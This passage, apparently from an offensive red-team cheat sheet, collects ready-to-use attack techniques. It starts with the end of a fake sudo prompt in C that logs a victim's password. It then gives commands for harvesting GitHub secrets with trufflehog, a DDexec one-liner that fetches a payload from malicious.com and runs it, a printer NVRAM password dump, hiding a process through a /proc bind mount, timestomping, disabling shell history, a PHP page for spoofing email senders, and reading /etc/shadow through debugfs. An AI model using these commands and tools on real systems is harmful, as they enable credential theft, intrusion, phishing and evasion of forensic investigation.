fprintf(fp, "User: %s\tPassword: %s", lgn, password); exit(1);
fclose(fp);
/* restore terminal */
if (tcsetattr(fileno(stdin), TCSANOW, &oflags) != 0) {
perror("tcsetattr");
return EXIT_FAILURE;
}
return 0;
}
else {
printf("usage: sudo -h | -K | -k | -V\nusage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]\nusage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]\nusage: sudo [-AbEHknPS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user]\n\t[VAR=value] [-i|-s] [<command>]\nusage: sudo -e [-AknS] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T timeout] [-u user]\n\tfile ...\n");
}
return 0;
}
Enumerate GitHub organizations for secrets and credentials
root@RoseSecurity# orgs=$(curl -s https://api.github.com/organizations | jq -r '.[] | .name'); for i in $orgs; do trufflehog github --org=$i; done
It's increasingly common to find Linux machines mounted with read-only (ro) file system protection, especially in containers. This is because running a container with ro
file system is as easy as setting readOnlyRootFilesystem: true
in the securitycontext
:
apiVersion: v1
kind: Pod
metadata:
name: victim-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do echo 'RoseSecurity FTW'; done"]
However, even if the file system is mounted as ro
, /dev/shm will still be writable, so it's fake we cannot write anything on the disk. However, this folder will be mounted with no-exec
protection, so if you download a binary here you won't be able to execute it.
DDexec is a technique that allows you to modify the memory of your own process by overwriting its /proc/self/mem.
# Example
wget -O- https://malicious.com/hacked.elf | base64 -w0 | bash ddexec.sh argv0 phone home
You can dump the NVRAM and extract confidential info (as passwords) by accessing arbitrary addresses using PJL:
# Using PRET
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> nvram dump
Writing copy to nvram/printer
................................................................................
................................................................................
............................................S3cretPassw0rd......................
................................................................................
Victim Host:
./MALICIOUS &
Using a process listing with ps, we can easily find the process, which would probably be noticed relatively quickly in a forensic investigation:
ps aux | grep MALICIOUS
root 22665 0.1 0.3 709792 5520 [..] ./MALICIOUS
root 22710 0.0 0.0 112808 968 [..] grep --color=auto M```sh
./MALICIOUS &
Using a process listing with ps, we can easily find the process, which would probably be noticed relatively quickly in a forensic investigation:
ps aux ps aux | grep MALICIOUS
root 22665 0.1 0.3 709792 5520 [..] ./MALICIOUS
root 22710 0.0 0.0 112808 968 [..] grep --color=auto MALICIOUS
Creating the bind mount:
# This command creates a directory named spoof with a subdirectory fd
mkdir -p spoof/fd;
# This command mounts the spoof directory onto the /proc/[pid] directory. By doing this, it tricks the system into displaying the contents of the spoof directory when someone accesses the /proc/[pid] directory. By someone, we mean, for example, a tool like ps that relies heavily on the /proc/ directory to generate output (see the section strace (ps deep-dive), where we examine how the ps command works and why we can hide our binary in this simple way
mount -o bind spoof /proc/22665;
Search for process again:
ps aux | grep MALICIOUS
By leveraging bind mounts to overlay a /proc/ directory, we demonstrated how a process can seemingly vanish from process listings while maintaining its functionality.
Timestomping is an anti-forensics technique which is used to modify the timestamps of a file, often to mimic files that are in the same folder.
Set the last access time of file1 to January 02 15:45 of current year. It’s format is MMDDHHMM.
$ touch -c -a 01021545 payload.elf
Set last modification date of a file with -m option.
$ touch -c -m 01021545 payload.elf
Use the -r option and the file we want to inherit its access and modification timestamp. In this example we will use normal.elf last access and modification timestamp for newly created payload.elf.
$ touch -r normal.elf payload.elf
One-liner:
$ export HISTFILE=/dev/null; unset HISTFILESIZE; unset HISTSIZE
Defenders can also enable timestamps in .bash_history
using the command: export HISTTIMEFORMAT='%F %T '
Ever get a "shortened" url (bit.ly, tinyurl.com or whatever) and stress about "clicking that link"? Or worse yet, have that "Oh No" moment after you just clicked it? Let's use cURL to avoid this!
$ curl -k -v -I <URL> 2>&1 | grep -i "< location" | cut -d " " -f 3
Output:
$ curl -k -v -I https://bit.ly/3ABvcy5 2>&1 | grep -i "< location" | cut -d " " -f 3
https://isc.sans.edu/
<?php
if (isset($_POST["send"])) {
$to = $_POST["to"];
$subject = $_POST["subject"];
$message = $_POST["message"];
$from = $_POST["from"];
$name = $_POST["name"];
if (!(filter_var($to, FILTER_VALIDATE_EMAIL) && filter_var($from, FILTER_VALIDATE_EMAIL))) {
echo "Email address inputs invalid";
die();
}
$header = "From: " . $name . " <" . $from . ">\r\nMIME-Version: 1.0\r\nContent-type: text/html\r\n";
$retval = mail ($to, $subject, $message, $header);
if ($retval) {
echo "Email sent.";
} else {
echo "Email did not send. Error: " . $retval;
}
} else {
echo
'<html>
<head>
<style>
input[type=submit] {
background-color: #4CAF50;
border: none;
color: white;
padding: 14px 32px;
text-decoration: none;
margin: 4px 2px;
cursor: pointer;
font-size: 16px;
}
</style>
</head>
<body>
<h2>Spoof Email</h2>
<form action="/send.php" method="post" id="emailform">
<label for="to">To:</label><br>
<input type="text" id="to" name="to"><br><br>
<label for="from">From:</label><br>
<input type="text" id="from" name="from"><br><br>
<label for="name">Name (optional):</label><br>
<input type="text" id="name" name="name"><br><br>
<label for="subject">Subject:</label><br>
<input type="text" id="subject" name="subject"><br><br>
<label for="message">Message [HTML is supported]:</label><br>
<textarea rows="6" cols="50" name="message" form="emailform"></textarea><br><br>
<input type="hidden" id="send" name="send" value="true">
<input type="submit" value="Submit">
</form>
<p>An e-mail will be sent to the desired target with a spoofed From header when you click Submit.</p>
</body>
</html>' ;
}
?>
┌──(root㉿kali)-[~]
└─# df /
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sda1 31861548 16932968 13284548 57% /
┌──(root㉿kali)-[~]
└─# debugfs /dev/sda1
debugfs 1.46.6 (1-Feb-2023)
debugfs: cd /etc
debugfs: cat shadow
root:!:19436:0:99999:7:::
daemon:*:19436:0:99999:7:::
bin:*:19436:0:99999:7:::
sys:*:19436:0:99999:7:::
sync:*:19436:0:99999:7:::
games:*:19436:0:99999:7:::